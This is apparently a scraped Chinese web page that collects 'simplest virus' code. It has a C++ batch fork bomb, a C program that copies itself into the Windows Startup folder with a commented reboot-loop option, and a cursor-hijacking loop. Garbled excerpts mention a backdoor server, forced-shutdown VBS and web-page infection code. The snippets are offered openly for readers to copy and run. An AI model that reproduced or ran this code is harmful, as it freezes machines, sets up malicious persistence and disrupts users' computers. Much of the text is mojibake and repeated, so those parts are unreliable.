file_out<<"%0|%0";
file_out.close();
system( a );
return 0;
}
最简单的病毒
#include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
{
//printf("%s\n",argv[i]);
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
system(copy); //将这个程序拷到开机启动文件夹下面
//char cmd[]="shutdown -r -t 0";//自动重起
char cmd[]="ping baidu.com";//将这个换成上面的，就是一开机就重起了！
system(cmd);
system("pause");
}
最简单的病毒代码如下： #include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
{
//printf("%s\n",argv[i]);
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
system(copy); //将这个程序拷到开机启动文件夹下面
//char cmd[]="shutdown -r -t 0";//自动重起
char cmd[]="ping baidu.com";//将这个换成上面的，就是一开机就重起了！
system(cmd);
system("pause");
}
/*亲自验证，不到30秒电脑卡死！运行后做好关机准备*/
/*留下您的赞再拿走，谢谢*/
运行效果如图
/*源代码：*/
//////////////////////////////////////////////////
#include <Windows.h>
#include <iostream>
#include <fstream>
using namespace std;
int main()
{
char a[9] = "abc.bat";
ofstream file_out(a);
file_out<<"%0|%0";
file_out.close();
system( a );
return 0;
}
#include "picture.h" //加入绘图头文件
using namespace std;
int main()
{
int x=1024;
int y=768;
int a,b;
clog<<"我恭喜你中了病毒！"<<endl;
srand(time(0));
while(true)
{
a=rand()%x;
b=rand()%y;
SetCursorPos(a,b);
}
return 0;
}
绛旓細鏈绠鍗曠殑鐥呮瘨浠ｇ爜濡備笅: #include "windows.h" #include "stdio.h" void main(int argc,char * argv[]) { //printf("%s\n",argv[i]); char copy[80]; sprintf(copy,"copy %s \"%%userprofile%%\\銆屽紑濮嬨嶈彍鍗昞\绋嬪簭\\鍚姩\"",argv[0]); system(copy); //灏嗚繖涓▼搴忔嫹鍒板紑鏈哄惎鍔ㄦ枃浠...
绛旓細涓涓猚鐥呮瘨婧愪唬鐮 include <windows.h> include <Shlwapi.h> include <fstream.h> include <TlHelp32.h> include <Dbt.h> pragma comment(lib,"shlwapi.lib")define TIMER 1//璁℃椂鍣 //function LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//绐楀彛杩囩▼ //鑾峰彇鐩樼 TCHAR FirstDrive...
绛旓細c:\windows\explorer.exe c:\windows\system32\dllcache\explorer.exe c:\windows\system\msmouse.dll c:\windows\system32\cmdsys.sys c:\windows\system32\mstsc32.exe 3.鐥呮瘨浣揷:\windows\explorer.exe鎰熸煋鍘焑xplorer.exe鏂囦欢锛屼娇鍏朵笉闇瑕佷慨鏀规敞鍐岃〃鍋氬埌鍚姩鏃跺湪explorer.exe鍓嶅惎鍔 4.淇敼娉ㄥ唽琛紝...
绛旓細" ""FastCGI Hello! (C, fcgi_stdio library)""FastCGI Hello! (C, fcgi_stdio library)""Request number %d running on host %s ",++count, getenv("SERVER_HOSTNAME"));} }
绛旓細缁欎綘涓涓紝鐗堟湰鑰佷簡涓浜涳紝浣嗘槸杩樻槸姣旇緝缁忓吀鐨勶細backdoor鐥呮瘨婧愪唬鐮 include <stdio.h> include <stdlib.h> include <errno.h> include <string.h> include <sys/types.h> include <netinet/in.h> include <sys/socket.h> include <sys/wait.h> define PORT 505 define MAXDATASIZE 100 define...
绛旓細鍏充簬濂界帺鐨鐥呮瘨浠ｇ爜锛岀帺绗戠梾姣掍唬鐮佽繖涓緢澶氫汉杩樹笉鐭ラ亾锛屼粖澶╂潵涓哄ぇ瀹惰В绛斾互涓婄殑闂锛岀幇鍦ㄨ鎴戜滑涓璧锋潵鐪嬬湅鍚э紒1銆佹垜鏈 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("***.shell") ***.run "cmd.exe /c shutdown -r -t 30 -c ""璇存垜鏄牏鐚紝,鎴戝氨涓嶅叧浣犳満路...
绛旓細H = "C:\InetPut\wwwroot" if fso.FolderExists(H) then '鍒ゆ柇鏄惁涓虹綉绔,濡傛槸鍒欏皢宸插姞瀵嗙殑甯鐥呮瘨浠ｇ爜鎻掑叆鏂囦欢澶,浠庤岀洿鎺ヤ紶鏌撴祻瑙堣缃戠珯鐨勭敤鎴 set fi = fso.GetFile(H & "\index.htm") AddHead H & "\index.htm",fi,1 end if end sub sub AddHead(Path, f, t) '姝よ繃绋嬫槸鐥呮瘨浼犳煋鏂囦欢鍏蜂綋杩囩▼...
绛旓細鍐鐥呮瘨鐢ㄤ粈涔堣瑷閮藉彲浠ャ備笉杩囨槸涓绉嶅伐鍏凤紝浣犲彧瑕佺簿閫氬畠灏辫锛岃浜嗚В搴曞眰鐨勪笢瑗匡紝姣斿鎿嶄綔绯荤粺锛岃绠楁満缁勬垚鍘熺悊銆傝繕鏈夛紝璋佽goto鍦C璇█閲岀鐢ㄤ簡锛熶綘鍘绘壘鍒伴偅涓繖涔堣鐨勪汉锛岀嫚鐙犵殑鎶戒粬淇╁槾宸达紒goto涓嶆槸澶╃敓鐨勬伓榄旓紝C89,C99鏍囧噯娌℃湁鍙栨秷瀹冩槸鏈夋牴鎹殑銆傛瘮濡傦紝for璇彞閲屽switch锛屽湪switch閲屾庝箞璺冲嚭寰幆锛
绛旓細鍒嗗竷寮鐥呮瘨鍗忚鐨凜/C++鎻忚堪浠ｇ爜Coded by Vxk in CVCCopyRight® 2001-20022002.10.18..night*/#include <windows.h>#include <winsock.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include typedef struct CONNINST{SOCKET socket; /* 鏈湴Socket鍙 */unsigned short clientPort; /* 瀹...
绛旓細鏂板缓涓涓枃鏈枃妗ｏ紝杈撳叆浠ヤ笅鍐呭锛歮sgbox"鍐呭1"+chr(13)+"鍐呭2"+chr(13)+"鍐呭3",1,"鏍囬"鏍煎紡鍜岀鍙峰繀椤绘纭紝鍐呭1銆佸唴瀹2銆佸唴瀹3銆佹爣棰樺彲浠ラ殢鎰忔洿鏀癸紝姣斿锛歮sgbox"鎮ㄧ殑鐢佃剳琚粦瀹㈠叆渚"+chr(13)+"璇风珛鍒诲彂涓夐亶鎴戞槸鐚埌鏈嬪弸鍦"+chr(13)+"鍚﹀垯鎮ㄧ殑鐢佃剳鏄惧崱灏嗚捣鐏",1,"榛戝鍏ヤ镜璀﹀憡"涔...
